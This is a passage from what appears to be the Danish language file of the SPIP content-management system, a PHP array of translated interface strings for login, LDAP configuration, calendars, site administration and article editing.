'entree_login_connexion_2' => '(Undertiden identisk med dit FTP-login, andre gange blank)',
'entree_login_ldap' => 'LDAP basis-login',
'entree_mot_passe' => 'Din adgangskode',
'entree_mot_passe_1' => 'Tilkoblingsadgangskode',
'entree_mot_passe_2' => '(Undertiden identisk med dit FTP-login, andre gange blank)',
'entree_nom_fichier' => 'Indtast filnavn @texte_compresse@:',
'entree_nom_pseudo' => 'Dit navn eller alias',
'entree_nom_pseudo_1' => '(navn eller kaldenavn)',
'entree_nom_site' => 'Dit websteds navn',
'entree_nouveau_passe' => 'Ny adgangskode',
'entree_passe_ldap' => 'Adgangskode',
'entree_port_annuaire' => 'Portnummer på kataloget',
'entree_signature' => 'Signatur',
'entree_titre_obligatoire' => '<b>Titel</b> [Skal oplyses]<br />',
'entree_url' => 'Dit websteds URL',
// I
'ical_info1' => 'Denne side viser flere måder til at følge med i aktiviteter på dette websted.',
'ical_info2' => 'For mere information, besøg <a href="@spipnet@">SPIP dokumentation</a>.', # MODIF
'ical_info_calendrier' => 'To kalendere står til rådighed. Den første er en oversigt over webstedet, der viser alle offentliggjorte artikler.Den anden indeholder både redaktionelle annonceringer og dine seneste private meddelelser. Den er forbeholdt dig i kraft af en personlig nøgle, som du kan ændre når som helst ved at forny din adgangskode.',
'ical_methode_http' => 'Filhentning',
'ical_methode_webcal' => 'Synkronisering (webcal://)',
'ical_texte_js' => 'Med en linies javascript kan du nemt vise de senest offentliggjorte artikler på et websted, der tilhører dig.',
'ical_texte_prive' => 'Denne strengt personlige kalender holder dig underrettet om private redaktionelle aktiviteter på webstedet (opgaver, personlige aftaler, indsendte artikler, nyheder ...).',
'ical_texte_public' => 'Med denne kalender kan du følge de offentlige aktiviteter på webstedet (offentliggjorte artikler og nyheder).',
'ical_texte_rss' => 'Du kan syndikere de seneste nyheder på dette websted i en hvilken som helst XML/RSS (Rich Site Summary) fillæser. Dette format tillader også SPIP at læse de seneste nyheder offenliggjort af andre websteder i et kompatibelt udvekslingsformat.',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Postliste',
'ical_titre_rss' => '«Backend» filer',
'icone_activer_cookie' => 'Opret administrationscookie',
'icone_afficher_auteurs' => 'Vis forfattere',
'icone_afficher_visiteurs' => 'Vis besøgende',
'icone_arret_discussion' => 'Stop deltagelse i denne diskussion',
'icone_calendrier' => 'Kalender',
'icone_creer_auteur' => 'Opret ny forfatter og tilknyt til denne artikel',
'icone_creer_mot_cle' => 'Opret nyt nøgleord og tilknyt til denne artikel',
'icone_creer_rubrique_2' => 'Opret nyt afsnit',
'icone_envoyer_message' => 'Send denne meddelelse',
'icone_modifier_article' => 'Ret denne artikel',
'icone_modifier_message' => 'Ret denne meddelelse',
'icone_modifier_rubrique' => 'Ret dette afsnit',
'icone_retour' => 'Tilbage',
'icone_retour_article' => 'Tilbage til artikel',
'icone_supprimer_cookie' => 'Slet cookier',
'icone_supprimer_rubrique' => 'Slet dette afsnit',
'icone_supprimer_signature' => 'Slet denne signatur',
'icone_valider_signature' => 'Godkend signatur',
'image_administrer_rubrique' => 'Du kan administrere dette afsnit',
'info_1_article' => '1 artikel',
'info_1_site' => '1 websted',
'info_activer_cookie' => 'Du kan installere en <b>administrationscookie</b>, som tillader dig at skifte nemt mellem det offentlige websted og dit private afsnit.',
'info_admin_gere_rubriques' => 'Denne administrator administrerer følgende afsnit:',
'info_admin_gere_toutes_rubriques' => 'Denne administrator administrerer <b>alle afsnit</b>.', # MODIF
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'af webstedet (<i>anvend med forsigtighed</i>)',
'info_administrateur_site_01' => 'Hvis du er webstedsadministrator, så',
'info_administrateur_site_02' => 'klik på dette link',
'info_administrateurs' => 'Administratorer',
'info_administrer_rubrique' => 'Du kan administrere dette afsnit',
'info_adresse' => 'til adressen:',
'info_adresse_url' => 'Dit offentlige websteds URL',
'info_afficher_visites' => 'Vis besøg for:',
'info_aide_en_ligne' => 'SPIP online hjælp',
'info_ajout_image' => 'Når du vedhæfter billeder til en artikel, kan
SPIP automatisk lave miniatureudgaver af billederne.
Dette muliggør f.eks. automatisk oprettelse af et
galleri eller et album.',
'info_ajout_participant' => 'Følgende deltager er tilføjet:',
'info_ajouter_rubrique' => 'Tilføj endnu et afsnit at administrere:',
'info_annonce_nouveautes' => 'Seneste annonceringer',
'info_anterieur' => 'forrige',
'info_article' => 'artikel',
'info_article_2' => 'artikler',
'info_article_a_paraitre' => 'Fremdaterede artikler der skal offentliggøres',
'info_articles_02' => 'artikler',
'info_articles_2' => 'Artikler',
'info_articles_auteur' => 'Denne forfatters artikler',
'info_articles_trouves' => 'Fundne artikler',
'info_articles_trouves_dans_texte' => 'Artikler fundet (i teksten)',
'info_attente_validation' => 'Dine artikler som afventer godkendelse',
'info_aujourdhui' => 'i dag:',
'info_auteur_message' => 'MEDDELELSESAFSENDER:',
'info_auteurs' => 'Forfattere',
'info_auteurs_par_tri' => 'Forfattere@partri@',
'info_auteurs_trouves' => 'Forfattere fundet',
'info_authentification_externe' => 'Ekstern adgangskontrol',
'info_avertissement' => 'Advarsel',
'info_base_installee' => 'Din databasestruktur er installeret.',
'info_chapeau' => 'Hoved',
'info_chapeau_2' => 'Indledning:',
'info_chemin_acces_1' => 'Valgmuligheder: <b>Adgangsvej til katalog</b>',
'info_chemin_acces_2' => 'Du skal nu konfigurere adgangsvejen til kataloginformationen. Dette er vigtigt for at kunne læse de brugerprofiler, som ligger i kataloget.',
'info_chemin_acces_annuaire' => 'Valgmuligheder: <b>Adgangsvej til katalog</b>',
'info_choix_base' => 'Tredje skrift:',
'info_classement_1' => '<sup>.</sup> af @liste@',
'info_classement_2' => '<sup>.</sup> af @liste@',
'info_code_acces' => 'Glem ikke dine egne adgangsoplysninger!',
'info_config_suivi' => 'Hvis denne adresse svarer til en postliste, kan du nedefor angive, hvor webstedets besøgende kan lade sig registrere. Denne adresse kan være en URL (f.eks. siden med tilmelding til listen via web), eller en e-mail adresse med et særligt emne tilknyttet (f.eks.: <tt>@adresse_suivi@?subject=abonner</tt>):',
'info_config_suivi_explication' => 'Du kan abonnere på dette websteds postliste. Du vil så via e-mail modtage annonceringer vedrørende artikler og nyheder, der er indsendt til offentliggørelse.',
'info_confirmer_passe' => 'Bekræft ny adgangskode:',
'info_connexion_base' => 'Andet skrift: <b>Forsøg på opkobling til databasen</b>',
'info_connexion_ldap_ok' => '<b>Din LDAP-opkobling lykkedes.</b><p> Du kan gå til næste skridt.', # MODIF
'info_connexion_mysql' => 'Første skridt: <b>Din SQL opkobling</b>',
'info_connexion_ok' => 'Opkoblingen lykkedes.',
'info_contact' => 'Kontakt',
'info_contenu_articles' => 'Artiklens bestanddele',
'info_creation_paragraphe' => '(For at lave afsnit skal du indsætte blanke linier.)', # MODIF
'info_creation_rubrique' => 'Før du kan skrive artikler<br /> skal du lave mindst et afsnit.<br />',
'info_creation_tables' => 'Fjerde skridt: <b>Oprettelse af databasetabeller</b>',
'info_creer_base' => '<b>Opret</b> en ny database:',
'info_dans_rubrique' => 'I afsnit:',
'info_date_publication_anterieure' => 'Dato for tidligere offentliggørelse:',
'info_date_referencement' => 'DATO FOR HENVISNING TIL DETTE WEBSTED:',
'info_derniere_etape' => 'Sidste skridt: <b>Det er overstået!',
'info_derniers_articles_publies' => 'Dine senest offentliggjorte artikler',
'info_desactiver_messagerie_personnelle' => 'Du kan åbne eller lukke for personlige meddelelser på dette websted.',
'info_descriptif' => 'Beskrivelse:',
'info_discussion_cours' => 'Igangværende diskussioner',
'info_ecrire_article' => 'Før du kan lave artikler, skal du oprette mindst et afsnit.',
'info_email_envoi' => 'Afsenderens e-mail adresse (valgfri)',
'info_email_envoi_txt' => 'Indtast afsenderens e-mail adresse ved afsendelse af e-mails (som standard bruges modtagerens adresse som afsenderadresse) :',
'info_email_webmestre' => 'E-mail-adresse på webmaster (valgfrit)', # MODIF
'info_entrer_code_alphabet' => 'Indtast koden for det tegnsæt, der skal benyttes:',
'info_envoi_email_automatique' => 'Automatisk e-mail-forsendelse',
'info_envoyer_maintenant' => 'Send nu',
'info_etape_suivante' => 'Gå til næste trin',
'info_etape_suivante_1' => 'Du kan gå til næste trin.',
'info_etape_suivante_2' => 'Du kan gå til næste trin.',
'info_exportation_base' => 'eksporter database til @archive@',
'info_facilite_suivi_activite' => 'For at lette opfølgning på webstedets redaktionelle aktiviteter sender SPIP e-mails med anmodning om offentliggørelse og godkendelse til f.eks. redaktørens adresseliste.',
'info_fichiers_authent' => 'Adgangskontrolfil ".htpasswd"',
'info_gauche_admin_effacer' => '<b>Kun administratorer har adgang til denne side.</b><p> Den giver adgang til forskellige tekniske vedligeholdelsesopgaver. Nogle af dem giver anledning til en særlig adgangskontrol, der kræver FTP-adgang til siden.', # MODIF
'info_gauche_admin_tech' => '<b>Kun administratorer har adgang til denne side.</b><p> Den giver adgang til forskellige tekniske vedligeholdelsesopgaver. Nogle af dem giver anledning til en særlig adgangskontrol, der kræver FTP-adgang til siden.', # MODIF
'info_gauche_admin_vider' => '<b>Kun administratorer har adgang til denne side.</b><p> Den giver adgang til forskellige tekniske vedligeholdelsesopgaver. Nogle af dem giver anledning til en særlig adgangskontrol, der kræver FTP-adgang til siden.', # MODIF
'info_gauche_auteurs' => 'Her finder du alle webstedets forfattere. Status på hver enkelt fremgår af farven på ikonet (redaktør = grøn, administrator = gul).',
'info_gauche_auteurs_exterieurs' => 'Udenforstående forfattere uden adgang til webstedet vises med et blåt symbol; slettede forfattere repræsenteres af en papirkurv.', # MODIF
'info_gauche_messagerie' => 'Meddelelsessystemet giver mulighed for at udveksle meddelelser mellem redaktører, for at gemme huskesedler (til personlig brug)
eller for at vise annonceringer i det private område (hvis du er administrator).',
'info_gauche_numero_auteur' => 'FORFATTER NUMMER:',
'info_gauche_statistiques_referers' => 'Denne side viser en oversigt over <i>henvisende sider</i>, dvs. websteder der har linket til dit websted alene i dag. Faktisk nulstilles oversigten med 24 timers mellemrum.',
'info_gauche_visiteurs_enregistres' => 'Her finder du de besøgende, der er tilmeldt til webstedets offentlige afsnit (fora med tilmelding).',
'info_generation_miniatures_images' => 'Dannelse af piktogrammer',
'info_gerer_trad' => 'Danne link til oversættelse?',
'info_hebergeur_desactiver_envoi_email' => 'Nogle webhoteller tillader ikke automatisk udsendelse af e-mails. I så fald kan følgende funktioner i SPIP ikke benyttes.',
'info_hier' => 'i går:',
'info_identification_publique' => 'Din offentlige identitet...',
'info_image_process' => 'Vælg den bedste metode til at skabe miniaturebilleder ved at klikke på det korresponderende billede.',
'info_image_process2' => '<b>N.B.</b> <i>If you can’t see any image, then your server is not configured to use such tools. If you want to use these features, contact your provider’s technical support and ask for the «GD» or «Imagick» extensions to be installed.</i>', # MODIF
'info_informations_personnelles' => 'Femte trin: <b>Personlig information</b>',
'info_inscription_automatique' => 'Automatisk registrering af nye redaktører',
'info_jeu_caractere' => 'Webstedets tegnsæt',
'info_jours' => 'dage',
'info_laisser_champs_vides' => 'efterlad disse felter tomme)',
'info_langues' => 'Webstedets sprog',
'info_ldap_ok' => 'LDAP adgangskontrol er installeret.',
'info_lien_hypertexte' => 'Hypertekst link:',
'info_liste_redacteurs_connectes' => 'Oversigt over tilknyttede reaktører',
'info_login_existant' => 'Dette login findes allerede.',
'info_login_trop_court' => 'Login for kort.',
'info_maximum' => 'maksimum:',
'info_message' => 'Meddelelse fra',
'info_message_efface' => 'MEDDELELSE SLETTET',
'info_message_en_redaction' => 'Dine meddelelser under redaktion',
'info_message_technique' => 'Teknisk meddelelse:',
'info_messagerie_interne' => 'Interne meddelelser',
'info_mise_a_niveau_base' => 'SQL databaseopgradering',
'info_mise_a_niveau_base_2' => '{{Advarsel!}} Du har installeret en version af SPIP-filer, der er ældre end dem, der var på webstedet i forvejen. Du risikerer at miste databasen og webstedet vil ikke fungere ordentligt mere.<br />{{Geninstraller SPIP-filerne.}}',
'info_modifier_rubrique' => 'Ret afsnit:',
'info_modifier_titre' => 'Ret: @titre@',
'info_mon_site_spip' => 'Mit SPIP-websted',
'info_mot_sans_groupe' => '(Nøgleord uden en gruppe...)',
'info_moteur_recherche' => 'Indbygget søgemaskine',
'info_moyenne' => 'gennemsnit:',
'info_multi_articles' => 'Muliggøre valg af sprog til artiklerne?',
'info_multi_cet_article' => 'Denne artikel er på:',
'info_multi_langues_choisies' => 'Vælg de sprog der skal være til rådighed for redaktører på webstedet.
Sprog der allerede er i brug på webstedet (de øverste på listen) kan ikke fravælges.
',
'info_multi_rubriques' => 'Muliggøre sprogvalg til afsnit?',
'info_multi_secteurs' => 'Kun for afsnit placeret i roden ?',
'info_nom' => 'Navn',
'info_nom_destinataire' => 'Navn på modtager',
'info_nom_site' => 'Dit websteds navn',
'info_nombre_articles' => '@nb_articles@ artikler,',
'info_nombre_partcipants' => 'DELTAGERE I DISKUSSIONEN:',
'info_nombre_rubriques' => '@nb_rubriques@ afsnit',
'info_nombre_sites' => '@nb_sites@ websteder,',
'info_non_deplacer' => 'Flyt ikke...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP kan udsende webstedets seneste indlæg regelmæssigt.
(nyligt offentliggjorte artikler og nyheder).',
'info_non_envoi_liste_nouveautes' => 'Send ikke oversigt over seneste nyheder',
'info_non_modifiable' => 'kan ikke ændres',
'info_non_suppression_mot_cle' => 'Jeg ønsker ikke at slette dette nøgleord.',
'info_notes' => 'Fodnoter',
'info_nouveaux_message' => 'Nye meddelelser',
'info_nouvel_article' => 'Ny artikel',
'info_nouvelle_traduction' => 'Ny oversættelse:',
'info_numero_article' => 'ARTIKEL NUMMER:',
'info_obligatoire_02' => '[Skal udfyldes]', # MODIF
'info_option_faire_suivre' => 'Videresend meddelelser i forummer til artiklernes forfattere',
'info_options_avancees' => 'AVANCEREDE INDSTILLINGER',
'info_ou' => 'eller...',
'info_page_interdite' => 'Forbudt side',
'info_par_nombre_article' => '(efter antal artiker)',
'info_passe_trop_court' => 'Adgangskode for kort.',
'info_passes_identiques' => 'De to adgangskoder er ikke ens.',
'info_pense_bete_ancien' => 'Dine gamle huskesedler', # MODIF
'info_plus_cinq_car' => 'mere end 5 tegn',
'info_plus_cinq_car_2' => '(Mere end 5 tegn)',
'info_plus_trois_car' => '(Mere end 3 tegn)',
'info_popularite' => 'popularitet: @popularite@; besøg: @visites@',
'info_popularite_4' => 'polularitet: @popularite@; besøg: @visites@',
'info_post_scriptum' => 'Efterskrift',
'info_post_scriptum_2' => 'Efterskrift:',
'info_pour' => 'til',
'info_principaux_correspondants' => 'Dine hovedbidragydere',
'info_procedez_par_etape' => 'gå frem skridt for skridt',
'info_procedure_maj_version' => 'opgraderingsprocdeduren bør følges for at tilpasse databasen til den nye version af SPIP.',
'info_ps' => 'P.S.',
'info_publies' => 'Dine offentliggjorte artikler',
'info_question_inscription_nouveaux_redacteurs' => 'Vil du tillade, at nye redaktører tilmelder sig
på det offentligt tilgængelige websted? Ja betyder, at besøgende kan tilmelde sig på en automatisk dannet formular,
og derefter få adgang til det private område, hvor de kan vedligeholde deres egne artikler.
<blockquote><i>Under tilmeldingen modtager brugerne en automatisk dannet e-mail med deres adgangskode til det
private websted. Nogle webhoteller tillader ikke at der sendes e-mails fra deres servere. I så fald kan automatisk
tilmelding ikke finde sted.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Ønsker du at anvende den søgefunktion, der findes i SPIP?
(At fravælge søgefunktionen gør webstedet hurtigere.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Top',
'info_recharger_page' => 'Vær venlig at genindlæse denne side om et øjeblik.',
'info_recherche_auteur_a_affiner' => 'For mange resultater fundet til "@cherche_auteur@"; vær venlig at afgrænse søgningen mere.',
'info_recherche_auteur_ok' => 'Der er fundet flere redaktører til "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b>Ingen resultater fundet til "@cherche_auteur@".',
'info_recommencer' => 'Vær venlig at forsøge igen.',
'info_redacteur_1' => 'Redaktør',
'info_redacteur_2' => 'med adgang til det private område (<i>anbefalet</i>)',
'info_redacteurs' => 'Redaktører',
'info_redaction_en_cours' => 'REDIGERING ER IGANG',
'info_redirection' => 'Viderestilling',
'info_refuses' => 'Dine artikler er afvist',
'info_reglage_ldap' => 'Muligheder: <b>Konfigurere LDAP understøttelse</b>',
'info_renvoi_article' => '<b>Viderestilling.</b> Denne artikel henviser til siden:',
'info_reserve_admin' => 'Kun administratorer kan ændre denne adresse.',
'info_restreindre_rubrique' => 'Begræns administrationsrettigheder til dette afsnit:',
'info_resultat_recherche' => 'Søgeresultater:',
'info_rubriques' => 'Afsnit',
'info_rubriques_02' => 'afsnit',
'info_rubriques_trouvees' => 'Afsnit fundet',
'info_rubriques_trouvees_dans_texte' => 'Afsnit fundet (i teksten)',
'info_sans_titre' => 'Uden overskrift',
'info_selection_chemin_acces' => '<b>Vælg</b> nedenfor stien til kataloget:',
'info_signatures' => 'underskrifter',
'info_site' => 'Websted',
'info_site_2' => 'websted:',
'info_site_min' => 'websted',
'info_site_reference_2' => 'Henvisning',
'info_site_web' => 'WEBSTED:', # MODIF
'info_sites' => 'websteder',
'info_sites_lies_mot' => 'Links til websteder knyttet til dette nøgleord',
'info_sites_proxy' => 'Brug proxy',
'info_sites_trouves' => 'Websteder fundet',
'info_sites_trouves_dans_texte' => 'Websteder fundet (i teksten)',
'info_sous_titre' => 'Underrubrik:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Denne forfatters status:', # MODIF
'info_statut_efface' => 'Slettet',
'info_statut_redacteur' => 'Redaktør',
'info_statut_utilisateurs_1' => 'Importerede brugeres standardstatus',
'info_statut_utilisateurs_2' => 'Vælg den status som skal tildeles personerne i LDAP kataloget, når de logger ind første gang. Senere kan du ændre værdien for hver forfatter fra sag til sag.',
'info_suivi_activite' => 'Opfølgning på redaktionelle aktiviteter',
'info_surtitre' => 'Hovedoverskrift:',
'info_taille_maximale_vignette' => 'Max. størrelse på piktogram dannet af systemet:',
'info_terminer_installation' => 'Du kan nu afslutte standardinstallationen.',
'info_texte' => 'Tekst',
'info_texte_explicatif' => 'Forklarende tekst',
'info_texte_long' => '(teksten er for lang: den vil blive opdelt i flere dele, som vil blive sat sammen efter godkendelse.)',
'info_texte_message' => 'Meddelelsens tekst:', # MODIF
'info_texte_message_02' => 'Meddelelsens tekst',
'info_titre' => 'Overskrift:',
'info_total' => 'ialt:',
'info_tous_articles_en_redaction' => 'Alle artikler undervejs',
'info_tous_articles_presents' => 'Alle artikler offentliggjort i dette afsnit',
'info_tous_les' => 'for hver:',
'info_tous_redacteurs' => 'Annonceringer til alle redaktører',
'info_tout_site' => 'Hele webstedet',
'info_tout_site2' => 'Artiklen er ikke blevet oversat til dette sprog.',
'info_tout_site3' => 'Artiklen er blevet oversat til dette sprig, men nogle ændringer er senere blevet tilføjet til referenceartiklen. Oversættelsen skal opdateres. ',
'info_tout_site4' => 'Artiklen er blevet oversat til dette sprog og oversættelsen er opdateret.',
'info_tout_site5' => 'Den oprindelige artikel.',
'info_tout_site6' => '<b>Advarsel:</b> kun de oprindelige artikler vises.
Oversættelserne er tilknyttet den oprindelige artikel
i en farve, der angiver deres status:',
'info_travail_colaboratif' => 'Samarbejde om artikler',
'info_un_article' => 'en artikel,',
'info_un_site' => 'et websted,',
'info_une_rubrique' => 'et afsnit,',
'info_une_rubrique_02' => '1 afsnit',
'info_url' => 'URL:',
'info_url_site' => 'WEBSTEDETS URL:',
'info_urlref' => 'Hyperlink:',
'info_utilisation_spip' => 'SPIP er nu klar til brug...',
'info_visites_par_mois' => 'Besøg pr. måned:',
'info_visiteur_1' => 'Besøgende',
'info_visiteur_2' => 'på den offentligt tilgængelige websted',
'info_visiteurs' => 'Besøgende',
'info_visiteurs_02' => 'Besøgende på offentligt websted',
'install_select_langue' => 'Vælg et sprog og klik derefter på knappen «næste» for at igangsætte installationen.',
'intem_redacteur' => 'redaktør',
'item_accepter_inscriptions' => 'Tillad tilmeldinger',
'item_activer_messages_avertissement' => 'Tillad advarselsmeddelelser',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Vis i kalenderen',
'item_autoriser_documents_joints' => 'Tillad at vedhæfte dokumenter til artikler',
'item_autoriser_documents_joints_rubriques' => 'Tillad dokumenter i afsnit',
'item_choix_administrateurs' => 'administratorer',
'item_choix_generation_miniature' => 'Dan miniaturepiktogrammer automatisk.',
'item_choix_non_generation_miniature' => 'Dan ikke miniaturebilleder.',
'item_choix_redacteurs' => 'redaktører',
'item_choix_visiteurs' => 'besøgende på den offentlige websted',
'item_creer_fichiers_authent' => 'Dan .htpasswd filer',
'item_limiter_recherche' => 'Begræns søgning til information på din eget websted',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'artiklerne',
'item_mots_cles_association_rubriques' => 'afsnittene',
'item_mots_cles_association_sites' => 'de linkede eller syndikerede websteder.',
'item_non' => 'Nej',
'item_non_accepter_inscriptions' => 'Tillad ikke tilmelding',
'item_non_activer_messages_avertissement' => 'Ingen advarselsmeddelelser',
'item_non_afficher_calendrier' => 'Vis ikke i kalender',
'item_non_autoriser_documents_joints' => 'Tillad ikke vedhæftning af dokumenter til artikler',
'item_non_autoriser_documents_joints_rubriques' => 'Tillad ikke dokumenter i afsnit',
'item_non_creer_fichiers_authent' => 'Dan ikke disse filer',
'item_non_gerer_statistiques' => 'Dan ikke statistik',
'item_non_limiter_recherche' => 'Udvid søgning til indholdet i linkede websteder',
'item_non_publier_articles' => 'Vent med at offentliggøre artikler til deres publiceringsdato.',
'item_non_utiliser_moteur_recherche' => 'Benyt ikke søgefunktion',
'item_nouvel_auteur' => 'Ny forfatter',
'item_nouvelle_rubrique' => 'Nyt afsnit',
'item_oui' => 'Ja',
'item_publier_articles' => 'Offentliggør artikler uden hensyn til deres publiceringsdato.',
'item_reponse_article' => 'Kommenter artiklen',
'item_utiliser_moteur_recherche' => 'Benyt søgefunktion',
'item_visiteur' => 'besøgende',
// J
'jour_non_connu_nc' => ' ',
// L
'lien_ajout_destinataire' => 'Tilføj denne modtager',
'lien_ajouter_auteur' => 'Tilføj denne forfatter',
'lien_ajouter_participant' => 'Tilføj modtager',
'lien_email' => 'e-mail',
'lien_nom_site' => 'WEBSTEDETS NAVN:',
'lien_retirer_auteur' => 'Fjern forfatter',
'lien_retrait_particpant' => 'fjern denne modtager',
'lien_site' => 'websted',
'lien_supprimer_rubrique' => 'slet dette afsnit',
'lien_tout_deplier' => 'Udfold alle',
'lien_tout_replier' => 'Sammenfold alle',
'lien_trier_nom' => 'Sorter efter navn',
'lien_trier_nombre_articles' => 'Sorter efter antal artikler',
'lien_trier_statut' => 'Sorter efter status',
'lien_voir_en_ligne' => 'SE ONLINE:',
'logo_article' => 'LOGO TIL ARTIKLEN', # MODIF
'logo_auteur' => 'LOGO TIL FORFATTEREN', # MODIF
'logo_rubrique' => 'LOGO TIL AFSNITTETS', # MODIF
'logo_site' => 'LOGO TIL WEBSTEDETS', # MODIF
'logo_standard_rubrique' => 'STANDARDLOGO TIL AFSNIT', # MODIF
'logo_survol' => 'PEGEFØLSOMT LOGO', # MODIF
// M
'menu_aide_installation_choix_base' => 'Valg af database',
'module_fichier_langue' => 'Sprogfil',
'module_raccourci' => 'Genvej',
'module_texte_affiche' => 'Vist tekst',
'module_texte_explicatif' => 'Du kan indsætte følgende genveje i dit websteds skabeloner. De vil automatisk blive oversat til de forskellige sprog, som der findes sprogfiler til.',
'module_texte_traduction' => 'Sprogfilen « @module@ » findes på:',
'mois_non_connu' => 'ukendt',
// O
'onglet_repartition_actuelle' => 'nu',
// S
'statut_admin_restreint' => '(begrænset admin)', # MODIF
// T
'text_article_propose_publication' => 'Artiklen er sendt til offentliggørelse. Hold dig ikke tilbage fra at give din mening til kende gennem det forum, der er tilknyttet artiklen (nederst på siden).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Nogle LDAP-servere tillader ikke anonym adgang. I så fald må du angive en brugeridentifikation for senere at kunne søge efter information i kataloget. Men i de fleste tilfælde kan du lade de følgende felter stå tomme.',
'texte_admin_effacer_01' => 'Denne kommando sletter <i>hele</i> indholdet i databasen,
herunder <i>hele</i> opsætningen for redaktører og administratorer. Når du har udført den, bør du
geninstallere SPIP for at danne en ny database og åbne op for den første administratoradgang.',
'texte_adresse_annuaire_1' => '(Hvis dit katalog findes på samme server som webstedet, er det formentlig «localhost».)',
'texte_ajout_auteur' => 'Følgende forfatter har bidraget til artiklen:',
'texte_annuaire_ldap_1' => 'Hvis du har adgang til et LDAP-katalog, kan du anvende det til automatisk at importere brugere i SPIP.',
'texte_article_statut' => 'Denne artikel er:',
'texte_article_virtuel' => 'Virtuel artikel',
'texte_article_virtuel_reference' => '<b>Virtuel artikel:</b> fremstår som en artikel på dit websted, men viderestiller til en anden URL. Slet URL’en for at fjerne viderestillingen.',
'texte_aucun_resultat_auteur' => 'Ingen resultater til "@cherche_auteur@".',
'texte_auteur_messagerie' => 'Dette websted kan løbende holde øje med, hvilke redaktører der er logget ind. Dette muliggør realtidsudveksling af meddelelser (hvis udveksling af meddelser ovenfor er fravalgt, vedligeholdes oversigten over redaktører, der er online, heller ikke). Du kan vælge ikke at være synlig i oversigten (du er så «usynlig» for andre brugere).',
'texte_auteur_messagerie_1' => 'Dette websted tillader udveksling af meddelelser og oprettelse af private diskussionsforummer mellem deltagere på webstedet. Du kan vælge ikke at deltage i udvekslingen.',
'texte_auteurs' => 'FORFATTERNE',
'texte_choix_base_1' => 'Vælg database:',
'texte_choix_base_2' => 'SQL server indeholder et antal databaser.',
'texte_choix_base_3' => '<b>Vælg</b> vælg nedenfor den database, som webhotellet har tildelt dig:',
'texte_commande_vider_tables_indexation' => 'Brug denne kommando til at tømme de indekstabeller, som benyttes af SPIP’s indbyggede søgefunktion.
Derved kan du spare diskplads.',
'texte_compresse_ou_non' => '(denne kan være komprimeret eller ikke)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elementer',
'texte_connexion_mysql' => 'Slå op i de oplysninger, som dit webhotel har stillet til rådighed: Hvis webhotellet understøtter SQL, bør det indeholde oplysninger om opkobling.', # MODIF
'texte_contenu_article' => '(Artiklens indhold med få ord.)',
'texte_contenu_articles' => 'Med udgangspunkt i det layout du har valgt til dit websted, kan du vælge at nogle artikelelementer ikke skal benyttes.
Benyt følgende liste til at bestemme, hvilke elementer der skal være til rådighed.',
'texte_crash_base' => 'Hvis din database er brudt ned, kan du her forsøge en automatisk genopbygning.',
'texte_creer_rubrique' => 'Før du kan skrive artikler,<br /> skal du oprette et afsnit.',
'texte_date_creation_article' => 'DATO FOR OPRETTELSE AF ARTIKLEN:',
'texte_date_publication_anterieure' => 'DATO FOR TIDLIGERE OFFENTLIGGØRELSE',
'texte_date_publication_anterieure_nonaffichee' => 'Skjul dato for tidligere offentliggørelse.',
'texte_date_publication_article' => 'DATO FOR ONLINE OFFENTLIGGØRELSE:',
'texte_descriptif_petition' => 'Beskrivelse af appellen',
'texte_descriptif_rapide' => 'Kort beskrivelse',
'texte_effacer_base' => 'Slet SPIP databasen',
'texte_effacer_donnees_indexation' => 'Slet indekseringsdata',
'texte_en_cours_validation' => 'Følgende artikler og nyheder er foreslået offentliggjort. Tøv ikke med at give din mening til kende via de fora, som er knyttet til artiklerne.', # MODIF
'texte_enrichir_mise_a_jour' => 'Du kan forbedre layoutet af teksten ved at benytte «typografiske koder».',
'texte_fichier_authent' => '<b>Skal SPIP oprette specielle <tt>.htpasswd</tt>
og <tt>.htpasswd-admin</tt> filer i kataloget @dossier@?</b><p>
Disse filer kan benyttes til at begrænse adgangen for forfattere og administratorer til andre dele af dit websted
(f.eks. et eksternt statistikprogram).<p>
Hvis du ikke har benyttet sådanne filer før, kan du vælge standardværdien (ingen filoprettelse).', # MODIF
'texte_informations_personnelles_1' => 'Systemet vil give dig en tilpasset adgang til webstedet.',
'texte_informations_personnelles_2' => '(Bemærk: hvis det er en geninstallation og din adgang stadig fungerer, kan du', # MODIF
'texte_introductif_article' => '(Introduktion til artiklen)',
'texte_jeu_caractere' => 'Denne indstilling er nyttig, hvis dit websted viser andre alfabeter end det latinske alfabet (dvs. det «vestlige») og dets afledninger.
I så fald skal standardindstillingen ændres til et passende tegnsæt. Vi anbefaler dig at prøve med forskellige indstillinger for at finde den bedste løsning. Husk også at tilpasse webstedet tilsvarende (<tt>#CHARSET</tt> parameteren).',
'texte_jeu_caractere_2' => 'Denne indstilling har ikke tilbagevirkende kraft.
Tekst, der allerede er lagt ind, kan derfor blive vist forkert efter ændring af denne indstilling.
Du kan dog altid vende tilbage til den oprindelige indstilling.',
'texte_lien_hypertexte' => '(Hvis din meddelelse henviser til en artikel der er offentliggjort på webben, eller til en side der giver flere oplysninger, så indtast her artiklens overskrift og dens URL.)',
'texte_login_ldap_1' => '(Efterlad tom for anonym adgang eller indtast en fuldstændig sti, f.eks. «<tt>uid=hansen, ou=brugere, dc=mit-domæne, dc=dk</tt>».)',
'texte_login_precaution' => 'Advarsel! Dette er den login, du er koblet på med nu.
Brug denne formular med forsigtighed ...',
'texte_message_edit' => 'Advarsel: Denne meddelelse kan ændres af alle webstedets administratorer, og den er synlig for alle redaktører. Benyt kun annonceringer til at gøre opmærksom på vigtige begivenheder på webstedet.',
'texte_mise_a_niveau_base_1' => 'Du har netop opdateret SPIP’s filer.
Du skal nu opdatere webstedets database.',
'texte_modifier_article' => 'Ret artiklen:',
'texte_moteur_recherche_active' => '<b>Søgefunktionen er valgt til.</b> Brug denne kommando, hvis du ønsker at udføre en hurtig reindeksering
